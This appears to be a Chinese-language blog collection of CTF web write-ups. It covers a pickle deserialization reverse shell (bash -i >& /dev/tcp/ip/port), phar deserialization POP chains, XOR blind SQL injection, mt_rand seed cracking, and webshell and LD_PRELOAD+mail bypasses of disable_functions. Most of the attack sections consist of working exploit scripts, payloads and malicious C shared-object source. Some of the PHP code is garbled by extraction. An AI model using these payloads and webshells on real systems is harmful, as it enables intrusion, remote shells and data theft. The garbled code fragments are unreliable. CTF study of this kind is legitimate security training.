python反序列化以及反弹shell

python反序列化以及反弹shell(长城杯ez_python)

首先我们打开页面,发现一张图片,然后构造

1
?pic=/app/app.py

读取源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
import pickle
import base64
from flask import Flask, request
from flask import render_template,redirect,send_from_directory
import os
import requests
import random
from flask import send_file

app = Flask(__name__)

class User():
def __init__(self,name,age):
self.name = name
self.age = age

def check(s):
if b'R' in s:
return 0
return 1


@app.route("/")
def index():
try:
user = base64.b64decode(request.cookies.get('user'))
if check(user):
user = pickle.loads(user)
username = user["username"]
else:
username = "bad,bad,hacker"
except:
username = "CTFer"
pic = '{0}.jpg'.format(random.randint(1,7))

try:
pic=request.args.get('pic')
with open(pic, 'rb') as f:
base64_data = base64.b64encode(f.read())
p = base64_data.decode()
except:
pic='{0}.jpg'.format(random.randint(1,7))
with open(pic, 'rb') as f:
base64_data = base64.b64encode(f.read())
p = base64_data.decode()

return render_template('index.html', uname=username, pic=p )


if __name__ == "__main__":
app.run('0.0.0.0',port=8888)

在源码中看到

1
2
3
4
5
6
7
8
import pickle

user = base64.b64decode(request.cookies.get('user'))
if check(user):
user = pickle.loads(user)
username = user["username"]

return render_template('index.html', uname=username, pic=p )

可知我们可以使用user这个利用点,来进行python反序列化,从而执行我们输入的命令,但是我们不知道flag在哪个文件中,所以我们可以使用反弹shell

1
bash -c "bash -i >& /dev/tcp/ip/port 0>&1

所以我们可以写一个exp对反弹shell的命令进行python序列化

1
2
3
4
5
6
7
8
9
10
import base64
import pickletools

a = b'''(cos
system
S'bash -c "bash -i >& /dev/tcp/ip/port 0>&1"'
o.'''

a = pickletools.optimize(a)
print(base64.b64encode(a))

其中ip是写公网ip,port端口自己定义,公网ip可以自己租一个服务器来接受反弹的shell

然后抓包,并在cookie中加入

1
user=上面脚本生成的base64编码的数

然后在服务器中的命令行中输入

1
nc -lvvp 端口

来监测我们反弹shell的端口,然后放包,我们可以获得shell,执行ls命令,发现flag在flagggggggggggggaaa文件中,所以我们再执行

1
cat flagggggggggggggaaa

即可获得flag

参考文章:https://blog.csdn.net/HBohan/article/details/119571814

phar反序列化以及pop链构造

phar反序列化以及pop链构造

打开页面是一个登录界面,试着sql注入,发现不行,然后注册后登录发现是上传文件,尝试着上传一个一句话木马,然后没有回显路径,但是点击下载后,抓包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /download.php HTTP/1.1
Host: 32c12092-57dd-43b8-91a4-92f60c34dca1.node4.buuoj.cn:81
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 20
Origin: http://32c12092-57dd-43b8-91a4-92f60c34dca1.node4.buuoj.cn:81
Connection: close
Referer: http://32c12092-57dd-43b8-91a4-92f60c34dca1.node4.buuoj.cn:81/index.php
Cookie: UM_distinctid=17ae21e0e7f4c7-0fd161bcfd1ad38-4c3e257a-186a00-17ae21e0e80551; PHPSESSID=3f263faaafa24915e707947db445f70f
Upgrade-Insecure-Requests: 1

filename=shell15.jpg

发现有一个filename可以直接利用来获取文件,因此,我们尝试构造

1
filename=../../flag.php

发现不可以下载,然后我们可以试着利用获取源码

1
2
3
4
5
6
7
8
9
10
11
filename=../../class.php

filename=../../login.php

filename=../../download.php

filename=../../index.php

filename=../../delete.php

filename=../../upload.php

获取源码后,我们可以看class.php文件,发现有数据库交互的语句

1
2
public function user_exist($username) {
$stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");

可见username参数的值已经被确定了,所以无法进行sql注入,然后我们再看向download.php文件,发现下载的文件名过滤了flag

1
2
3
4
5
6
7
chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {
Header("Content-type: application/octet-stream");
Header("Content-Disposition: attachment; filename=" . basename($filename));
echo $file->close();

其中chdir()函数是用来目录跳跃的,所以我们在获取文件时,需要../../来读取上层目录的文件。同时由于过滤了flag文件名,所以不能使用这个方法我们需要使用其它的方法

看到__call()这个魔术方法

1
2
3
4
5
6
public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}

同时看到close()函数

1
2
3
public function close() {
return file_get_contents($this->filename);
}

中的file_get_contents()函数,可以判断使用phar反序列化加pop链

phar反序列化

phar原理

phar由四部分构成

1
2
3
4
5
6
7
8
9
10
11
1. stub
phar文件标识,格式为xxx<?php xxx;__HALT_COMPILER();?>,只要由__HALT_COMPILER();?>这个标识作为结尾,则前面的内容是不限定的,因此可以随意伪造文件头

2. mainfest
压缩文件的属性等信息,以序列化存储

3. contents
压缩文件内容

4. signature
签名,放在文件末尾

phar存储的meta-data信息以序列化的方式存储,而当文件操作函数通过phar://伪协议解析phar文件时会将数据反序列化,其中文件操作函数为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
fileatime()
filectime()
file_exists()
file_get_contents()
file_put_contents()
file()
filegroup()
fopen()
fileinode()
filemtime()
fileowner()
fileperms()
is_dir()
is_executable()
is_file()
is_link()
is_readable()
is_writable()
is_writeable()
parse_ini_file()
copy()
unlink()
stat()
readfile()

实例

1
test.php
output); } } if(isset($_GET['filename'])) { $filename=$_GET['filename']; var_dump(file_exists($filename)); } ?>
1
然后使用这个phar.php文件生成phar文件
startBuffering(); //开始写文件 $phar->setStub('

‘); //写入stub
$o=new Testobj();
$o->output=’eval($_GET[“a”]);’;
$phar->setMetadata($o);//写入meta-data
$phar->addFromString(“test.txt”,”test”); //添加要压缩的文件
$phar->stopBuffering();
?>

1
然后放在同一目录中,其中运行时,需要在php.ini文件中设置

phar.readonly = Off

1
注意在ini文件中;为注释符,然后构造

http://127.0.0.1/test.php?filename=phpinfo();

1
2
3
4
5
则可以获得php版本

回到原来题目本身

有几个魔术方法

__call()————————————-在对象调用的方法不存在时。会自动触发

__destruct()——————————-会在销毁对象时自动触发

1
而我们可以看见close()方法中有file_get_contents()函数,所以我们只需控制$this->filename这个参数即可,而调用这个close()方法,而download.php文件和delect.php文件都有这个函数,但是download.php文件中的

ini_set(“open_basedir”, getcwd() . “:/etc:/tmp”);

1
限制了访问目录只能在当前目录(getcwd())、/etc和/tmp目录,所以不可以使用,但是我们可以使用delect.php来读取,我们可以构造一条简单的链条

当delect.php文件中的$file->detele()是,会触发class.php文件中的user类中的__destruct()魔术方法中的$this->db->close();

而我们可以直接将$this->db作为file类,然后调用close()方法,之后只要我们控制file类中的$filename即可

1
按上面写exp
db = new File(); ?>
1
但是没有回显,所以我们可以利用FileList类中的__call()魔术方法和__destruct()魔术方法来通过

echo $table;

1
来打印读取文件的信息,所以我们需要构造新的pop链

首先,delete.php文件中的$file->detele();会调用File类中的delect()方法

然后,detele()函数中的unlink()函数会触发user类的魔术方法__destruct()

而构造$this->db为new FileList()类,来调用不存在FileList类中的close()方法,从而触发FileList类中魔术方法__call()方法和__destruct()方法来通过echo $table;打印回显信息

1
2

其中__cal($fun,$args)魔术方法中的$fun为被调用的方法,而$args为被调用方法中的参数,而当创建新的类的时候会触发魔术方法__contruct(),其中魔术方法__contruct()

public function __construct($path) {
$this->files = array();
$this->results = array();
$this->funcs = array();
$filenames = scandir($path);

    $key = array_search(".", $filenames);
    unset($filenames[$key]);
    $key = array_search("..", $filenames);
    unset($filenames[$key]);

    foreach ($filenames as $filename) {
        $file = new File();
        $file->open($path . $filename);
        array_push($this->files, $file);
        $this->results[$file->name()] = array();
    }
}
1
将phar压缩文件中的文件放进数组中,然后__call()魔术方法将调用的方法close()放进数组中,并将遍历每一个文件,让每一个文件都调用close()方法,并存储于二维数组中,而后FileList类中的__destruct()魔术方法会将利用

foreach ($this->results as $filename => $result) {
$table .= ‘‘;
foreach ($result as $func => $value) {

1
会将每个二维数组中的值给$table,并通过

echo $table;

1
2
打印出来,所以我们可以写exp
phar.php
filename = "/flag.txt"; $this->files = array($file); } } $a = new User(); $a->db = new FileList(); $phar = new Phar("phar.phar"); //后缀名必须为phar $phar->startBuffering(); $phar->setStub("

“); //设置stub

$o = new User();
$o->db = new FileList();

$phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString(“exp.txt”, “test”); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

1
通过php运行phar.php来生成phar.phar文件,之后点击删除,并抓包,将filename中的值改为

filename=phar://phar.phar

```
就可以读出flag

cookie和盲注

cookie([BSidesCF 2019]Kookie)

打开页面,发现提示

1
2
3
 Log in as admin!

We found the account cookie / monster

可知我们直接在头部的cookie字段,构造

1
username=admin

来进行身份验证,得到flag

sql盲注

通过测试,我们可以知道可能是异或注入,所以我们尝试

1
1^(ascii(substr((select(database())),1,1))<200)^1

发现是页面显示

1
Hi admin,your score is:100

所以我们可以利用exp进行异或盲注

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import requests

url= 'http://b91f52c4-276b-4113-9ede-54fb712ac6da.node3.buuoj.cn/'

database =""

payload1 = "?stunum=1^(ascii(substr((select(database())),{},1))>{})^1" #库名为ctf
payload2 = "?stunum=1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='ctf')),{},1))>{})^1"#表名为flag,score
payload3 ="?stunum=1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='flag')),{},1))>{})^1" #列名为flag,value
payload4 = "?stunum=1^(ascii(substr((select(group_concat(value))from(ctf.flag)),{},1))>{})^1" #
for i in range(1,10000):
low = 32
high = 128
mid =(low + high) // 2
while(low < high):
# payload = payload1.format(i,mid) #查库名
# payload = payload2.format(i,mid) #查表名
# payload = payload3.format(i,mid) #查列名
payload = payload4.format(i,mid) #查flag

new_url = url + payload
r = requests.get(new_url)
print(new_url)
if "Hi admin, your score is: 100" in r.text:
low = mid + 1
else:
high = mid
mid = (low + high) //2
if (mid == 32 or mid == 132):
break
database +=chr(mid)
print(database)

print(database)

刷脚本即可获得flag

mt_srand以及mt_rand函数的伪随机数爆破

mt_srand以及mt_rand函数的伪随机数爆破

mt_srand()函数以及mt_rand()函数

mt_scrand(seed)这个函数的意思是,通过分发seed种子,然后种子有了后,靠mt_rand()生成随机数

实例

1
2
3
4
<?php
mt_scrand(12345);
echo mt_rand()."<br/>";
?>

但是生成的随机数是有线性关系的,所以可以理解为伪随机数,因此我们可以

1
2
3
1. 知道种子后,确定伪随机数的序列

2. 知道你的随机数序列后,确定种子

所以我们可以使用php_mt_seed爆破

1
2
3
下载地址:https://www.openwall.com/php_mt_seed/

如果用make命令安装报错的话,可以参考这篇文章:https://www.coder.work/article/7305572

打开题目后,我们可以看见10个字符,然后我们猜后面10个字符

1
前10个字符:xxxq9Bgc67

然后打开页面源码,发现一串代码中有一个可疑文件check.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
$(document).ready(function(){
$("#div1").load("check.php #p1");

$(".close").click(function(){
$("#myAlert").hide();
});

$("#button1").click(function(){
$("#myAlert").hide();
guess=$("input").val();
$.ajax({
type: "POST",
url: "check.php",
data: "num="+guess,
success: function(msg){
$("#div2").append(msg);
alertmsg = $("#flag").text();
if(alertmsg=="没抽中哦,再试试吧"){
$("#myAlert").attr("class","alert alert-warning");
if($("#new").text()=="")
$("#new").append(alertmsg);
}
else{
$("#myAlert").attr("class","alert alert-success");
if($("#new").text()=="")
$("#new").append(alertmsg);
}


}
});
$("#myAlert").show();
$("#new").empty();
$("#div2").empty();
});
});

因此,我们查看check.php文件,发现源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
#这不是抽奖程序的源代码!不许看!
header("Content-Type: text/html;charset=utf-8");

# 生成种子
session_start();
if(!isset($_SESSION['seed'])){
$_SESSION['seed']=rand(0,999999999);
}

# 生成猜测的字符串
mt_srand($_SESSION['seed']); #写入种子
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
$str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1); # 依据生成的随机数在$str_long1中获取相应的20个字符
}
$str_show = substr($str, 0, 10); # 取出20个字符中的10个字符
echo "<p id='p1'>".$str_show."</p>";


if(isset($_POST['num'])){
if($_POST['num']===$str){x
echo "<p id=flag>抽奖,就是那么枯燥且无味,给你flag{xxxxxxxxx}</p>";
}
else{
echo "<p id=flag>没抽中哦,再试试吧</p>";
}
}
show_source("check.php");

所以我们需要知道前10个字符的随机数是多少,从而爆破出种子数,exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
str1 ='xxxq9Bgc67'
str2 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"
result =''


length = str(len(str2)-1)
for i in range(0,len(str1)):
for j in range(0,len(str2)):
if str1[i] == str2[j]:
result += str(j) + ' ' +str(j) + ' ' + '0' + ' ' + length + ' '
break


print(result)

然后在ubuntu中运行这个命令

1
./php_mt_seed 23 23 0 61 23 23 0 61 23 23 0 61 16 16 0 61 35 35 0 61 37 37 0 61 6 6 0 61 2 2 0 61 32 32 0 61 33 33 0 61

其中23是随机数,0和61是范围,下面的数以此类推,但是如果mt_rand()没有设定范围的话,直接将生成的随机数放进php_mt_seed中爆破即可

发现只有一个php7.1+版本的种子,但是运行php脚本的版本必须在7.4以上才可以成功,所以exp

1
2
3
4
5
6
7
8
9
10
<?php
mt_srand(929507679);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
$str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);
}
echo "<p id='p1'>".$str."</p>";
?>

即可得到20个字符,获取flag

取反或异或绕过以及disable_function禁用绕过

取反或异或绕过以及disable_function禁用绕过

打开页面后,我们查源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
error_reporting(0);
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>40){
die("This is too Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}
?>

发现有两个过滤

1
2
3
1. strlen($code)>40

2. preg_match("/[A-Za-z0-9]+/",$code)

可以知道我们get提交的的数据的长度要大于40,而且正则过滤了大小写字母和数字,所以我们此时发现各类函数好像都被过滤了,所以我们可以使用异或或取反来绕过,构造

1
2
${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo
//${_GET}{%ff}();&%ff=phpinfo

来查看php版本,发现它的disable_function过滤掉了许多的函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
禁用的函数:
pcntl_alarm,
pcntl_fork,
pcntl_waitpid,
pcntl_wait,
pcntl_wifexited,
pcntl_wifstopped,
pcntl_wifsignaled,
pcntl_wifcontinued,
pcntl_wexitstatus,
pcntl_wtermsig,
pcntl_wstopsig,
pcntl_signal,
pcntl_signal_get_handler,
pcntl_signal_dispatch,
pcntl_get_last_error,
pcntl_strerror,
pcntl_sigprocmask,
pcntl_sigwaitinfo,
pcntl_sigtimedwait,
pcntl_exec,
pcntl_getpriority,
pcntl_setpriority,
pcntl_async_signals,
system,
exec,
shell_exec,
popen,proc_open,
passthru,
symlink,
link,
syslog,
imap_open,ld,dl

所以我们可以利用eval()函数来上传一个木马并连上蚁剑来获得shell

1
2
3
4
<?php
$str1="assert";
echo urlencode(~$str1);
?>

可以利用上面的脚本来构造木马

1
assert(eval($_POST[mochu7]))

因此,我们可以构造payload

1
?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%92%90%9C%97%8A%C8%A2%D6%D6);

然后post提交

1
mochu7=phpinfo();

发现可以看见php版本,所以我们使用蚁剑来连接到后台,然后发现flag文件,但是什么都读不出来,然后点击/readflag,是乱码,所以发现由于disable_function禁用了太多的命令函数了,所以这个shell有很多命令都执行不了,但是蚁键有个插件是绕过disable_function的,选用并选PHP7_GC_UAF模式,然后在蚁剑命令行输入

1
/readflag

绕过即可,但是我是不能用,不知为何,所以可以使用LD_preload+mail劫持so来执行系统命令

LD_prelosd+mail劫持so来执行系统命令

通常在webshell中无法执行命令的话,有三种情况

1
2
3
4
5
1. php.ini中使用disable_functions指示器禁用了system()、exec()等命令执行的函数

2. web进程运行在rbash这类受限shell环境中

3. waf拦劫

第一种是完全不能执行命令,而另外两种是可以执行少量命令,而绕过第一种disable_function的方法有四种

1
2
3
4
5
6
7
1. 攻击后端组件,寻找存在命令注入的、web应用常用的后端组件,如:ImageMagick 的魔图漏洞、bash 的破壳漏洞

2. 寻找漏网函数,如比较偏的函数: popen()、proc_open()、pcntl_exec()

3. mod_cgi模式,尝试修改.htaccess文件来调整请求访问路由,来绕过php.ini中的任何限制

4. 利用环境变量LD_PRELOAD劫持系统函数,让外部程序加载恶意*.so,达到执行系统命令的效果

注意:ImageMagick存在命令注入漏洞的版本是v6.9.3-9或v7.0.1-0

我们可是尝试各种罕见的函数以及看php版本中是否有禁用mod_cgi模式,但是这里我们讲解第四种LD_PRELOAD劫持系统函数的方法

漏洞原理:

1
控制web启动新进程a.bin时,a.bin内部会调用系统函数b(),而b()位于系统共享对象c.so中,所以系统进程会加载c.so,但是在加载c.so前会优先加载可控的c_evil.so,而c_evil.so中有和b()同名的恶意函数,由于c_evil.so的优先级比较高,所以其实最后函数执行的地方会在c_evil.so中,而不是系统中,而c_evil.so可控,所以可以达到执行恶意代码的目的,因此,如果我们要实现上面的操作,我们可以做一下几步
  1. 查看进程调用系统函数明细

    命令:ldd /usr/bin/id #查看调用的API

    命令:nm -D /usr/bin/id 2>&1 或 readelf -Ws /usr/bin/id #查看该程序可能会调用的系统API明细

    命令:strace -f /usr/bin/id 2>&1 #跟踪实际API调用情况

  2. 操作系统环境下劫持系统函数注入代码

    由于被劫持系统函数需要有我们重新实现一次,所以函数原型必须一致,所以为了方便,一般选择常用无参的系统函数,如:getuid()函数就比较合适,可以使用man 2 getuid来看函数原型

  3. 找寻内部启动新进程的 PHP 函数

  4. PHP 环境下劫持系统函数注入代码

1
对于第二步,我们可以编写原型的getuid()函数

#include <unistd.h>
#include <sys/types.h>

uid_t getuid(void)
{
system(“echo ‘!! evil command here’”);
return 0;
}

1
我们再执行

gcc -shared -fPIC getuid_shadow.c -o getuid_shadow.so

1
编译成共享对象,最后借助环境变量LD_PRELOAD劫持系统函数getuid()来获取控制权,然后用

LD_PRELOAD=/root/getuid_shadow.so /usr/bin/id

1
2
3
4
5
6
7
8
9
10
测试代码是否成功执行,我在ubuntu发现不行,不知道为什么

虽然LD_PRELOAD为我们提供了劫持系统函数的能力,但是我们需要php启动外部程序才可以,所以我们可以尝试三个进程,分别是处理图片、请求网页、发送邮件

处理图片
image.php
```<?php
$img=new Imagick();
$img->newImage(500,300,'black','png')
?>

运行strace -f php image.php 2>&1 | grep -A2 -B2 execve 查看 Imagick() 是否启动新进程,发现只有一个execve是启动php解释器,必须要有第二个execve才说明是开启新进程

请求网页

1
2
3
4
5
6
7
<?php
$ch=curl_init();
curl_setopt($ch,CURLOPT_URL,"www.baidu.com");
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
$output=curl_exec($ch);
curl_close($ch);
?>

运行 strace -f php http.php 2>&1 | grep -A2 -B2 execve 查看 curl_init() 是否启动新进程,发现不是想要的

发送邮件

1
2
3
<?php
mail("a","h","c","d");
?>

运行 strace -f php mail.php 2>&1 | grep -A2 -B2 execve 查看 mail() 是否启动新进程,发现有两个execve(),满足需求

因此,我们可以在php环境下劫持系统函数注入代码
mail.php

1
2
3
4
<?php
putenv("LD_PRELOAD=/root/getuid_shadow.so");
mail("a","b","c","d");
?>

将main.php文件和getuid_shadow.so文件放进同一目录里,/var/www/
执行main.php后,发现在不借助任何php命令执行函数的情况下执行了getuid_shadow.so文件的命令

根据前面的mail.php,可以写一个木马bypass_disablefunc.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
echo "<p> <b>example</b>: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so </p>";

$cmd = $_GET["cmd"];
$out_path = $_GET["outpath"];
$evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";

putenv("EVIL_CMDLINE=" . $evil_cmdline);

$so_path = $_GET["sopath"];
putenv("LD_PRELOAD=" . $so_path);

mail("", "", "", "");

echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>";

unlink($out_path);
?>

其中cmd参数是待执行命令,outpath参数为保存命令执行输出结果的文件路径,sopath参数是指定劫持系统函数的共享对象的绝对路径(如:/var/www/bypass_disablefunc_x64.so)

木马其中的

1
putenv("EVIL_CMDLINE=" . $evil_cmdline);

是向 bypass_disablefunc_x64.so 文件传递具体的命令行信息的

但是在真实环境中,存在两方面问题:一是,某些环境中,web 禁止启用 senmail、甚至系统上根本未安装 sendmail,也就谈不上劫持 getuid(),通常的 www-data 权限又不可能去更改 php.ini 配置、去安装 sendmail 软件;二是,即便目标可以启用 sendmail,由于未将主机名(hostname 输出)添加进 hosts 中,导致每次运行 sendmail 都要耗时半分钟等待域名解析超时返回,www-data 也无法将主机名加入 hosts(如,127.0.0.1 lamp、lamp.、lamp.com),所以我们可以使用__attribute__((constructor)) 修饰的函数来代替,而且用 LD_PRELOAD 手法突破 disable_functions 无法做到百分百成功,正因为这个原因,我们不要局限于仅劫持某一函数,而应考虑劫持共享对象,bypass_disablefunc.c源码:

1
2
3
4
5
6
7
8
9
10
11
12
#define _GNU_SOURCE

#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>

__attribute__((__contructor__)) void preloadme(void)
{
unsetenv("LD_PRELOAD");
const char* cmdline=getenv("EVIL_CMDLINE"):
system(cmdline);
}

用命令

1
gcc -shared -fPIC bypass_disablefunc.c -o bypass_disablefunc_x64.so

生成bypass_disablefunc_x64.so即可,32位的加上-m32选项即可

回到题目本身,我们发现有disable_function时,我们就是用LD_PRELOAD+mail来绕过,我们可以在https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD,下载已经写好的bypass_disablefunc_x64.so,用蚁剑上传到/var/tmp文件夹中,然后将上面的木马改一下

1
2
3
4
5
6
7
8
9
10
11
12
<?php
// exp.php
$cmd = "/readflag";
$out_path = "/var/tmp/1.txt";
$evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
putenv("EVIL_CMDLINE=" . $evil_cmdline);
$so_path = "/var/tmp/bypass_disablefunc_x64.so";
putenv("LD_PRELOAD=" . $so_path);
mail("", "", "", "");
echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>";
unlink($out_path);
?>

然后也用蚁剑上传上去即可,然后用include函数来包含exp.php文件,从而启动新进程来触发漏洞

1
?code=$_=~(%A0%B8%BA%AB);${$_}[__](${$_}[___]);&__=assert&___=include%20%22/var/tmp/exp.php%22;

即可获得flag

实例2(天翼杯easy_eval)

打开页面,可以看见源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php   
class A{
public $code = "";
function __call($method,$args){
eval($this->code);

}
function __wakeup(){
$this->code = "";
}
}

class B{
function __destruct(){
echo $this->a->a();
}
}
if(isset($_REQUEST['poc'])){
preg_match_all('/"[BA]":(.*?):/s',$_REQUEST['poc'],$ret);
if (isset($ret[1])) {
foreach ($ret[1] as $i) {
if(intval($i)!==1){
exit("you want to bypass wakeup ? no !");
}
}
unserialize($_REQUEST['poc']);
}


}else{
highlight_file(__FILE__);
}

我们可以在源码中可以看见一个eval()这个危险函数,所以我们可以试着构造一个pop链来控制$this->code参数的值来执行恶意代码,而__call()这个魔术方法是在类调用不可访问对象时触发的,所以我们可以写一个exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php

class A{
public $code='eval($_POST[1]);';
}
class B{
public $a;
}

$b=new B();
$b->a=new A();

echo serialize($b);
?>

可以得到

1
O:1:"B":1:{s:1:"a";O:1:"A":1:{s:4:"code";s:15:"eval($_POST[1]);";}}

因为正则过滤中过滤了B和A的大写,但是php中的类对大小写不怎么区分,所以可以使用小写的b和a,而反序列化时会触发__wakeup()的魔术方法,而如果序列化字符串中对象属性个数的值大于真实个数的属性时,会绕过__wakeup()魔术方法,所以最后的序列化字符串为

1
O:1:"b":2:{s:1:"a";O:1:"a":1:{s:4:"code";s:15:"eval($_POST[1]);";}}

然后用蚁剑连接即可,我在本地测试时,发现$_GET[1]的一句话木马用蚁剑连接可能连接不上,建议使用$_POST[1]的一句话,然后查看php版本中的disable_function,发现有许多的函数被禁用了,所以可以启动子程序,并在子程序中有被禁的函数,所以我们可以在子程序中执行被禁的函数,因此可以使用我上面写的恶意so文件劫持系统函数,从而绕过disbale_function

我们只需将so文件上传到tmp目录中,然后用蚁剑的redis插件加载恶意模块rce
``
module load /tmp/exp.so

1
然后就拿到shell了,执行命令查看目录

system.exec ls

```
但是我的蚁剑好像无法加redis插件,所以我们利用上面我写的php文件,来通过php函数来加载子进程,从而执行恶意代码,当然蚁剑中也有bypass disable_function模块,但是好像这里也用不了

参考文章

PHP代码执行中出现过滤限制的绕过执行方法:
https://blog.csdn.net/mochu7777777/article/details/104631142

巧用LD_PRELOAD突破disable_functions :
https://www.freebuf.com/articles/web/192052.html

php字符串解析特性漏洞

php字符串解析特性漏洞

php解析特性

php将查询字符串,如:/?foo=bar,转换为关联数组

1
Array([foo]=>"bar")

而在转换的过程中会自动调用parse_str()函数来进行转换,而且会将所有参数转换为有效的变量名

1
将$_GET["foo"]中的参数foo转换为$foo

而且在解析的过程中,会将某些字符删除或用下划线代替

1
2
3
1. 删除空白字符

2. 将某些字符转换为下划线

下面有一个脚本,来列出某些特殊字符

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
foreach(
[
"{chr}foo_bar",
"foo{chr}bar",
"foo_bar{chr}"
] as $k => $arg) {
for($i=0;$i<=255;$i++) {
echo "\033[999D\033[K\r";
echo "[".$arg."] check ".bin2hex(chr($i))."";
parse_str(str_replace("{chr}",chr($i),$arg)."=bla",$o);
usleep(5000);
if(isset($o["foo_bar"])) {
echo "\033[999D\033[K\r";
echo $arg." -> ".bin2hex(chr($i))." (".chr($i).")\n";
}
}
echo "\033[999D\033[K\r";
echo "\n";
}
?>

脚本中的\r的作用是输出字符后,会又回到行的开始位置

php字符串解析特性的详细可参考:https://www.freebuf.com/articles/web/213359.html

实例([MRCTF2020]套娃)

打开页面,然后打开页面源码,发现有一串代码

1
2
3
4
5
6
7
8
9
//1st
$query = $_SERVER['QUERY_STRING'];

if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){
die('Y0u are So cutE!');
}
if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){
echo "you are going to the next ~";
}

其中$_SERVER[‘QUERY_STRING’]是获取提交的所有参数信息,如:/?foo=bar,则会获取

1
foo=bar

substr_count()

1
作用是子串在字符串中的数量

而 preg_match(‘/^23333$/‘, $_GET[‘b_u_p_t’])中的/^23333$/中的^和$代表是行的开头和行的结尾,所以我们要获得下一步的信息,我们需要绕过

1
2
3
1. 字符_

2. 输入参数的值不能为23333,但是正则过滤中输入的参数的值要为23333

对于第一个if来说,我们可以使用上面说的php解析特性来进行绕过,所以我们可以使用空格来代替_,我们再将空格转换为url编码的方式进行输入,即%20

对于第二个if来说,我们可以利用换行符号来进行绕过,因为换行符就相当于行的结尾,因此我们可以构造payload

1
?b%20u%20p%20t=23333%0a

然后我们可以看见一个文件的名字secrettw.php,所以我们构造一个payload

1
/secrettw.php

然后打开页面源码,发现是java的加密

1
